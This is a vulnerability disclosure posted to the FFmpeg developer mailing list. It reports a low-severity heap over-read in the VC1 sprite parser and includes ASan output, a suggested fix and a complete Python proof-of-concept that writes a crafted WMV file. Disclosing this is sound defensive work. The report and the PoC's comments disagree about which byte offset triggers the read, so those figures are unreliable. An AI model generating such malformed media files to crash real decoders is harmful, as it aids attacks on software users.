Hi,

I'm reporting a logic bug in the WMV3IMAGE sprite parser that allows a
2-byte heap over-read when FFmpeg is built with
--disable-safe-bitstream-reader.

## Bug

vc1_parse_sprites() in libavcodec/vc1dec.c performs multiple GetBitContext
reads before a late bounds check at L199. For WMV3IMAGE, the check adds
64 bits of slack that is never consumed:

    if (get_bits_count(gb) >= gb->size_in_bits +
        (avctx->codec_id == AV_CODEC_ID_WMV3IMAGE ? 64 : 0))

With two_sprites=1, parsing two full sprite transforms via
vc1_sprite_parse_transform() consumes 426 bits (53.25 bytes), followed
by skip_bits(2) + effect_type(30) + effect_pcount1(4), reaching byte 58.
The subsequent effect_params1 loop then reads 15 x get_fp_val(30 bits)
with no per-read bounds check. At effect_params1[7] (bit 674, byte 84),
get_bits_long() issues an AV_RB64 prefetch spanning bytes 84-91, which
is 2 bytes past the end of the 90-byte packet buffer (58 bytes frame
data + 32 bytes padding).

## Build constraints

This is only triggerable under two non-default conditions:

1. --disable-safe-bitstream-reader (CONFIG_SAFE_BITSTREAM_READER=0)
   With the default safe reader enabled, get_bits_long() checks bounds
   before reading and returns 0 past the end — the over-read does not
   occur. Most production distributions build with the safe reader.

2. AV_INPUT_BUFFER_PADDING_SIZE=32 (reduced from default 64)
   With default 64-byte padding the packet allocation is 122 bytes,
   and the byte-84 read lands within the padding region — no crash.
   The PoC uses a reduced-padding build to trigger the boundary.

Under default upstream build settings, the safe bitstream reader
silently prevents this bug from being exploitable.

## ASan output (--disable-safe-bitstream-reader build)

    READ of size 8 at 0xf52194f01c74 thread T3 (dec0:0:wmv3imag)
        #0 get_bits_long  libavcodec/get_bits.h:436
        #1 get_fp_val     libavcodec/vc1dec.c:102
        #2 vc1_parse_sprites  libavcodec/vc1dec.c:168
        #3 vc1_decode_sprites libavcodec/vc1dec.c:316
        #4 vc1_decode_frame   libavcodec/vc1dec.c:1362

    0xf52194f01c7a is located 0 bytes to the right of 90-byte region

FFmpeg version: N-123228-g0ddece40c5

## Trigger

Crafted ASF/WMV file with:
- Codec: WMV3IMAGE (WMVP), res_sprite=1 in sequence header extradata
- Frame 1: new_sprite=1, valid I-frame header (allocates cur_pic)
- Frame 2: new_sprite=0 (jumps to image label), two_sprites=1,
  58 bytes of all-0xFF payload
  - Two sprite transforms, case 3, alpha=1: 2 × 213 bits = 426 bits
  - skip_bits(2) + effect_type(30) + effect_pcount1(4) = 36 bits
  - effect_pcount1 = 0xF = 15
  - effect_params1[7] triggers AV_RB64 at byte 84, 2 bytes past end

PoC script attached (poc_vc1.py).

## Suggested fix

The bounds check at L199 should either be moved before the sprite
transform calls, or get_bits_left() guards should be added at the start
of vc1_parse_sprites() to validate sufficient bits are available before
beginning sprite parameter reads. The 64-bit slack for WMV3IMAGE serves
no documented purpose and should be removed.

## Severity

Low. The underlying logic is wrong. The late bounds check with WMV3IMAGE
slack is incorrect regardless of build flags, but the over-read is only
2 bytes, and the safe bitstream reader (enabled by default) prevents it
from occurring in standard builds. No CVE is expected; this is a
correctness fix.

Regards,
Jenny (Guanni Qu)
#!/usr/bin/env python3
"""
PoC for heap over-read in FFmpeg vc1_parse_sprites() (vc1dec.c:139).

The bug: vc1_parse_sprites() performs many unbounded GetBitContext reads
(sprite transforms, effect params) BEFORE the bounds check at line 199.

Requires: CONFIG_SAFE_BITSTREAM_READER=0 (--disable-safe-bitstream-reader)
          AV_INPUT_BUFFER_PADDING_SIZE=32 (reduced from default 64)

Strategy: Two-frame ASF with WMV3IMAGE (WMVP) codec.
  Frame 1: new_sprite=1, valid I-frame header -> allocates cur_pic buffers
  Frame 2: new_sprite=0 (goto image path) -> directly calls vc1_parse_sprites()
           with 58 bytes of all-0xFF data that maximizes bit reads past buffer.

With 58 bytes of 0xFF (allocation = 58 + 32 = 90 bytes):
  - Bit 0-1: new_sprite=0, two_sprites=1
  - 2 sprite transforms case 3 with alpha=1: 2 x 213 = 426 bits (bits 2-427)
  - effect block: skip(2) + effect_type(30, non-zero) + pcount1(4, =15) = 36 bits
  - pcount1=15 -> 15 x get_fp_val(30 bits) = 450 bits (bits 464-913)
  - The 15th get_fp_val at bit 884 triggers AV_RB64 at byte 110,
    reading bytes 110-117, exceeding the 90-byte allocation. ASan detects this.
"""

import struct
import os

# ASF GUIDs from FFmpeg libavformat/asf_tags.c
GUID_ASF_HEADER = bytes([
    0x30, 0x26, 0xB2, 0x75, 0x8E, 0x66, 0xCF, 0x11,
    0xA6, 0xD9, 0x00, 0xAA, 0x00, 0x62, 0xCE, 0x6C])
GUID_ASF_FILE_PROPERTIES = bytes([
    0xA1, 0xDC, 0xAB, 0x8C, 0x47, 0xA9, 0xCF, 0x11,
    0x8E, 0xE4, 0x00, 0xC0, 0x0C, 0x20, 0x53, 0x65])
GUID_ASF_STREAM_PROPERTIES = bytes([
    0x91, 0x07, 0xDC, 0xB7, 0xB7, 0xA9, 0xCF, 0x11,
    0x8E, 0xE6, 0x00, 0xC0, 0x0C, 0x20, 0x53, 0x65])
GUID_ASF_VIDEO_MEDIA = bytes([
    0xC0, 0xEF, 0x19, 0xBC, 0x4D, 0x5B, 0xCF, 0x11,
    0xA8, 0xFD, 0x00, 0x80, 0x5F, 0x5C, 0x44, 0x2B])
GUID_ASF_NO_ERROR_CORRECTION = bytes([
    0x00, 0x57, 0xFB, 0x20, 0x55, 0x5B, 0xCF, 0x11,
    0xA8, 0xFD, 0x00, 0x80, 0x5F, 0x5C, 0x44, 0x2B])
GUID_ASF_DATA = bytes([
    0x36, 0x26, 0xB2, 0x75, 0x8E, 0x66, 0xCF, 0x11,
    0xA6, 0xD9, 0x00, 0xAA, 0x00, 0x62, 0xCE, 0x6C])
GUID_ZERO = b'\x00' * 16

p64 = lambda v: struct.pack('<Q', v)
p32 = lambda v: struct.pack('<I', v)
p16 = lambda v: struct.pack('<H', v)


class BitWriter:
    def __init__(self):
        self.bits = []

    def write(self, val, n):
        for i in range(n - 1, -1, -1):
            self.bits.append((val >> i) & 1)

    def to_bytes(self):
        while len(self.bits) % 8:
            self.bits.append(0)
        out = bytearray()
        for i in range(0, len(self.bits), 8):
            byte = 0
            for j in range(8):
                byte = (byte << 1) | self.bits[i + j]
            out.append(byte)
        return bytes(out)

    def __len__(self):
        return len(self.bits)


def build_extradata():
    """WMV3 sequence header: PROFILE_MAIN, res_sprite=1, 64x64 sprites."""
    bw = BitWriter()
    bw.write(1, 2)    # profile = PROFILE_MAIN
    bw.write(0, 1)    # res_y411 = 0
    bw.write(1, 1)    # res_sprite = 1
    bw.write(0, 3)    # frmrtq_postproc
    bw.write(0, 5)    # bitrtq_postproc
    bw.write(0, 1)    # loop_filter
    bw.write(0, 1)    # res_x8
    bw.write(0, 1)    # multires
    bw.write(1, 1)    # res_fasttx = 1 (avoids extra 16-bit skip)
    bw.write(0, 1)    # fastuvmc
    bw.write(0, 1)    # extended_mv
    bw.write(0, 2)    # dquant
    bw.write(0, 1)    # vstransform
    bw.write(0, 1)    # res_transtab = 0
    bw.write(0, 1)    # overlap
    bw.write(0, 1)    # resync_marker
    bw.write(0, 1)    # rangered
    bw.write(0, 3)    # max_b_frames
    bw.write(0, 2)    # quantizer_mode
    bw.write(0, 1)    # finterpflag
    bw.write(64, 11)  # sprite_width
    bw.write(64, 11)  # sprite_height
    bw.write(0, 5)    # frame_rate
    bw.write(0, 1)    # res_x8
    bw.write(0, 1)    # dc_vlc_bit = 0
    bw.write(0, 3)    # slice_code
    return bw.to_bytes()


def build_frame1():
    """Frame 1: new_sprite=1 + valid I-frame header + zero padding.

    This frame decodes through the normal VC1 path to allocate cur_pic
    (needed by vc1_decode_sprites). MB decode errors are tolerated for I-frames.
    """
    bw = BitWriter()
    bw.write(0, 1)    # new_sprite = !0 = 1
    bw.write(1, 1)    # two_sprites = 1
    bw.write(0, 2)    # framecnt (skip)
    bw.write(0, 1)    # pict_type = I-frame
    bw.write(0, 7)    # buffer_fullness
    bw.write(1, 5)    # pqindex = 1
    bw.write(0, 1)    # halfpq
    bw.write(0, 1)    # c_ac_table_index (decode012)
    bw.write(0, 1)    # y_ac_table_index (decode012)
    bw.write(0, 1)    # dc_table_index
    # Pad to 40 bytes
    remaining = 40 * 8 - len(bw)
    bw.write(0, remaining)
    return bw.to_bytes()


def build_frame2():
    """Frame 2: new_sprite=0 (goto image) + all-0xFF sprite data.

    With new_sprite=0, vc1_decode_frame jumps directly to the image label,
    calling vc1_parse_sprites() on the frame data starting at bit 2.

    All-0xFF data causes:
      - Sprite transforms: case 3 (max reads), alpha=1 (extra fp_val)
      - effect_type: non-zero at bit 430 (bytes 53-57 still in 0xFF data)
      - pcount1 = 15 at bits 460-463 (byte 57 still in 0xFF data)
      - 15 x get_fp_val = 450 bits (bits 464-913)
      - The 15th get_fp_val at bit 884 uses AV_RB64 at byte 110,
        reading bytes 110-117, past the 90-byte allocation (58+32).
    """
    return b'\xff' * 58


def build_bitmapinfoheader(width, height, extradata):
    bi_size = 40 + len(extradata)
    bih  = p32(bi_size)
    bih += struct.pack('<i', width)
    bih += struct.pack('<i', height)
    bih += p16(1) + p16(24)
    bih += b'WMVP'
    bih += p32(width * height * 3)
    bih += p32(0) * 4
    bih += extradata
    return bih


def build_asf_object(guid, data):
    return guid + p64(16 + 8 + len(data)) + data


def build_file_properties(pkt_size, num_packets):
    data  = GUID_ZERO
    data += p64(0)
    data += p64(0)
    data += p64(num_packets)
    data += p64(20000000)       # 2 seconds
    data += p64(0)
    data += p32(0) + p32(0)    # preroll
    data += p32(0x02)           # flags: seekable
    data += p32(pkt_size)
    data += p32(pkt_size)
    data += p32(0)
    return data


def build_stream_properties(width, height, extradata):
    bih = build_bitmapinfoheader(width, height, extradata)
    video_ts = p32(width) + p32(height) + bytes([0]) + p16(len(bih)) + bih
    data  = GUID_ASF_VIDEO_MEDIA
    data += GUID_ASF_NO_ERROR_CORRECTION
    data += p64(0)
    data += p32(len(video_ts))
    data += p32(0)
    data += p16(0x0001)
    data += p32(0)
    data += video_ts
    return data


def build_data_packet(frame_data, pkt_size, timestamp=0):
    """ASF data packet with standard ECC sync and proper padding."""
    # Fixed overhead: EC(3) + flags(1) + prop(1) + padsize(2) + ts(4) + dur(2) +
    #   stream(1) + replic_len(1) + replic_data(8) = 23 bytes
    overhead = 23
    padsize = pkt_size - overhead - len(frame_data)
    if padsize < 0:
        raise ValueError(f"Frame too large: {len(frame_data)} > {pkt_size - overhead}")

    pkt = bytearray(pkt_size)
    pos = 0

    # Standard ECC sync: 0x82, 0x00, 0x00
    pkt[pos] = 0x82; pos += 1
    pkt[pos] = 0x00; pos += 1
    pkt[pos] = 0x00; pos += 1

    # Packet flags: bits 3-4 = 10 (padding type = WORD)
    pkt[pos] = 0x10; pos += 1
    # Packet property: bits 0-1 = 01 (replic_size type = BYTE)
    pkt[pos] = 0x01; pos += 1

    # Padding length (WORD)
    struct.pack_into('<H', pkt, pos, padsize); pos += 2
    # Send time (DWORD)
    struct.pack_into('<I', pkt, pos, timestamp); pos += 4
    # Duration (WORD)
    struct.pack_into('<H', pkt, pos, 0); pos += 2

    # Payload: stream 1, key frame
    pkt[pos] = 0x81; pos += 1
    # Replicated data length (BYTE)
    pkt[pos] = 0x08; pos += 1
    # Media object size (DWORD)
    struct.pack_into('<I', pkt, pos, len(frame_data)); pos += 4
    # Presentation time (DWORD)
    struct.pack_into('<I', pkt, pos, timestamp); pos += 4

    # Frame data
    pkt[pos:pos + len(frame_data)] = frame_data
    return bytes(pkt)


def build_asf(frame1, frame2, extradata):
    pkt_size = 512
    width = height = 64

    fp_obj = build_asf_object(GUID_ASF_FILE_PROPERTIES,
                              build_file_properties(pkt_size, 2))
    sp_obj = build_asf_object(GUID_ASF_STREAM_PROPERTIES,
                              build_stream_properties(width, height, extradata))

    header_data = p32(2) + bytes([0x01, 0x02]) + fp_obj + sp_obj
    header_obj = build_asf_object(GUID_ASF_HEADER, header_data)

    pkt1 = build_data_packet(frame1, pkt_size, timestamp=0)
    pkt2 = build_data_packet(frame2, pkt_size, timestamp=1000)

    data_content = GUID_ZERO + p64(2) + p16(0x0101) + pkt1 + pkt2
    data_obj = build_asf_object(GUID_ASF_DATA, data_content)

    return header_obj + data_obj


def main():
    extradata = build_extradata()
    frame1 = build_frame1()
    frame2 = build_frame2()

    padding = 32  # AV_INPUT_BUFFER_PADDING_SIZE (reduced from 64)
    print(f"[*] Extradata: {len(extradata)} bytes")
    print(f"[*] Frame 1 (I-frame setup): {len(frame1)} bytes")
    print(f"[*] Frame 2 (sprite trigger): {len(frame2)} bytes (all 0xFF)")
    print(f"[*] Frame 2 allocation: {len(frame2) + padding} bytes (data + {padding} padding)")
    print(f"[*] Sprite parse reads to byte ~117 -> over-reads by ~{117 - (len(frame2) + padding) + 1} bytes")

    asf = build_asf(frame1, frame2, extradata)
    out = "/tmp/poc_vc1.wmv"
    with open(out, "wb") as f:
        f.write(asf)

    print(f"[*] Written {len(asf)} bytes to {out}")
    print(f"[*] Run: ~/ffmpeg_validation/ffmpeg/ffmpeg -i {out} -f null -")


if __name__ == "__main__":
    main()

Attachment: vc1dec_crash.log
Description: Binary data

_______________________________________________
ffmpeg-devel mailing list -- [email protected]
To unsubscribe send an email to [email protected]

Reply via email to